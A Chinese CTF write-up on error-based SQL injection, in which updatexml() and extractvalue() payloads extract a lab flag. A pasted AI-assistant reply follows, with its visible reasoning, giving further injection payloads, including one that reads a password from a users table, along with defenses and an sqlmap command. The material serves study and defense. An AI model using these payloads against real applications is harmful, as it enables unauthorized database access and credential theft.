【SQL注入】报错型注入

and 1=1 无回显时,整数型和字符型注入就都无法使用了。若给出了详细的报错信息,可能就存在报错型注入

先做

updatexml报错

1 union select 1,updatexml(1,concat(0x7e,(select database()),0x7e),1)

在这里插入图片描述0x7e”:ascii码的"~“,updatexml不能识别的字符 痛,太痛了
我们只要他回显出databases()就行。这里得到数据库名为"sqli

1 union select 1,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)

在这里插入图片描述照葫芦画瓢,继续利用联合查询爆table_name,得到表名为"flag"和"news"

1 union select 1,updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'),0x7e),1)

在这里插入图片描述
爆列名,得到列名"flag"

1 union select 1,updatexml(1,concat(0x7e,(select flag from sqli.flag),0x7e),1)

在这里插入图片描述发现个问题,flag太长了没有显示完全

1 union select 1,updatexml(1,concat(0x7e,right((select flag from sqli.flag),31),0x7e),1)

在这里插入图片描述
利用right()去显示右边的31位字符,拼接得到flag

extractvalue报错

1 union select extractvalue(1,concat(0x7e,(select database()),0x7e))

在这里插入图片描述
0x7e”:ascii码的"~“,extractvalue不能识别的字符 还是痛
爆database(),得到数据库名"sqli

1 union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))

在这里插入图片描述爆表明,得到"flag"和"news"

1 union select 1,extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'),0x7e))

在这里插入图片描述
爆列名,得到"flag"
获取flag

1 union select 1,extractvalue(1,concat(0x7e,left((select flag from sqli.flag),31),0x7e))

在这里插入图片描述

1 union select 1,extractvalue(1,concat(0x7e,right((select flag from sqli.flag),31),0x7e))

在这里插入图片描述

再想

报错型注入与前两种注入不同的是,整数型、字符型注入是查询成功后的联合注入;而报错型注入则是查询失败后利用详尽的报错信息对报错回显进行注入。
简而言之,前者注入查询回显,后者注入报错回显

报错型注入的核心就是“利用报错
首先,updatexml()extractvalue()两种方法的原理都是一样的:

XPath_string的格式限制

上例中的"0x7e"(即"~")就是一个不符合XPath_string格式的字符

再来分别看updatexml()和extractvalue():

UPDATEXML (XML_document, XPath_string, new_value);
找到XML_document文档中的XPath_string字符串,并将其替换为new_value字符串

EXTRACTVALUE (XML_document, XPath_string);
在XML_document文档中查询XPath_string并返回

其中XPath_string格式要求为XPath格式的字符串,若不符合格式要求,则会报错并带出查询的结果

针对于两个函数中的XPath_string构造,也就是报错型的利用点进行分析:
concat(0x7e,(select database()),0x7e)
concat()将内容整合成一个字符串“~ (select database()) ~
遇到~非XPath_string格式,报错,而报错的回显会执行select database(),达到注入目的。
之后的注入方法与整数型、字符型注入一样。

<think>好的,我现在需要帮助用户查找关于SQL注入中报错函数的使用方法和示例。用户已经提供了一些引用内容,我需要结合这些引用来组织回答。 首先,用户提到了四个引用,其中引用1到4都涉及报错注入的不同方面。引用1解释了报错注入的基本原理,引用2和3提到了使用count()和floor()函数的例子,引用4讨论了updatexml和extractvalue函数的使用。用户的上一次问题涉及时间盲注,现在转向报错注入,可能是在学习不同类型的注入方法。 我需要确保回答结构清晰,分点说明每个报错函数的使用方法,并给出示例。同时,用户需要中文回答,所以要注意用词准确。根据用户提供的引用,报错函数包括floor()+rand()、updatexml、extractvalue等,可能还需要补充其他常见函数如exp()。 接下来,我需要检查每个函数的原理、语法、示例payload,以及注意事项。比如,floor(rand()*2)在group by时导致主键冲突,从而引发报错,这个在引用2和3中提到过。updatexml和extractvalue则是利用XPath语法错误来触发报错,这在引用4中有说明。 还要考虑不同数据库的兼容性,比如MySQLSQL Server是否有不同的函数。用户提供的示例主要是MySQL,所以重点放在MySQL上。此外,需要提到防御措施,帮助用户了解如何防范这类攻击,比如参数化查询和错误信息处理。 用户可能还想知道如何自动化利用这些函数,比如使用sqlmap工具,但问题主要集中在手动使用方法上。因此,示例需要具体,比如如何获取数据库名、表名、字段名,每一步的payload如何构造。 最后,确保回答中的引用标记正确,例如引用[^1]、[^2]等,但根据用户提供的引用内容,可能需要调整引用编号,但用户示例中的引用是[^1]、[^2]、[^3]、[^4],所以保持原样。 总结回答结构: 1. 报错注入原理 2. 常用函数及示例(floor+rand、updatexml、extractvalue、exp) 3. 防御措施 4. 相关问题 需要确保每个函数都有详细的payload示例和解释,并注明对应的引用来源。同时,检查是否有遗漏的函数或方法,如geometrycollection等,但可能用户提供的引用中没有提到,可以暂时不提,或者简要提及。 现在开始组织内容,确保每个部分清晰,使用代码块和表格来展示示例,保持格式正确。</think>#### SQL注入报错函数使用方法详解 --- ### 一、报错注入核心原理 通过构造**特定SQL语句触发数据库报错**,将查询结果直接嵌入错误信息中返回[^1]。核心条件: 1. 应用程序未过滤错误信息(如开启`mysql_error()`输出) 2. 攻击者可控制输入参数 --- ### 二、常用报错函数及Payload示例 #### 1. `floor(rand()*2)` + `GROUP BY`(主键冲突) - **原理**:利用`GROUP BY`分组时产生的临时表主键冲突报错 - **典型Payload**: ```sql id=1' AND (SELECT COUNT(*), CONCAT((SELECT DATABASE()), 0x7e, FLOOR(RAND(0)*2)) AS x FROM information_schema.tables GROUP BY x)-- ``` - 输出示例:`Duplicate entry 'database_name~1' for key 'group_key'`[^2] - **应用场景**: - 获取数据库名、表名、字段名 - 逐字符提取数据(配合`SUBSTRING`函数) #### 2. `updatexml()`(XPath语法错误) - **函数语法**: ```sql UPDATEXML(XML_document, XPath_string, new_value) ``` - **Payload构造**: ```sql id=1' AND UPDATEXML(1, CONCAT(0x7e, (SELECT USER()), 0x7e), 1)-- ``` - 输出示例:`XPATH syntax error: '~root@localhost~'`[^4] - **限制**: - 单次最大输出长度32字符(需配合`SUBSTRING`分段获取) - 仅适用于MySQL 5.1.5+版本 #### 3. `extractvalue()`(XPath语法错误) - **函数语法**: ```sql EXTRACTVALUE(XML_document, XPath_string) ``` - **Payload示例**: ```sql id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT @@version), 0x7e))-- ``` - 输出示例:`XPATH syntax error: '~5.7.36-log~'`[^4] #### 4. `exp()`(数值溢出报错) - **原理**:通过指数函数触发数值溢出错误 - **Payload示例**: ```sql id=1' AND EXP(~(SELECT * FROM (SELECT USER())a))-- ``` - 输出示例:`DOUBLE value is out of range` --- ### 三、分阶段数据提取示例 #### 1. 获取数据库名 ```sql id=1' AND UPDATEXML(1, CONCAT(0x7e, (SELECT DATABASE()), 0x7e), 1)-- ``` #### 2. 提取表名 ```sql id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1)))-- ``` #### 3. 读取字段值 ```sql id=1' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT password FROM users LIMIT 0,1), FLOOR(RAND(0)*2)) AS x FROM information_schema.tables GROUP BY x) a)-- ``` --- ### 四、防御措施 1. **禁用错误回显**:生产环境关闭`mysql_error()`输出[^4] 2. **参数化查询**: ```python cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,)) ``` 3. **函数黑名单**:过滤`updatexml`、`extractvalue`等关键词 4. **权限控制**:数据库账户仅授予最小必要权限 --- ### 五、工具辅助 使用`sqlmap`自动化注入(指定报错技术): ```bash sqlmap -u "http://example.com?id=1" --technique=E ``` 参数说明:`--technique=E` 表示使用报错注入技术 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值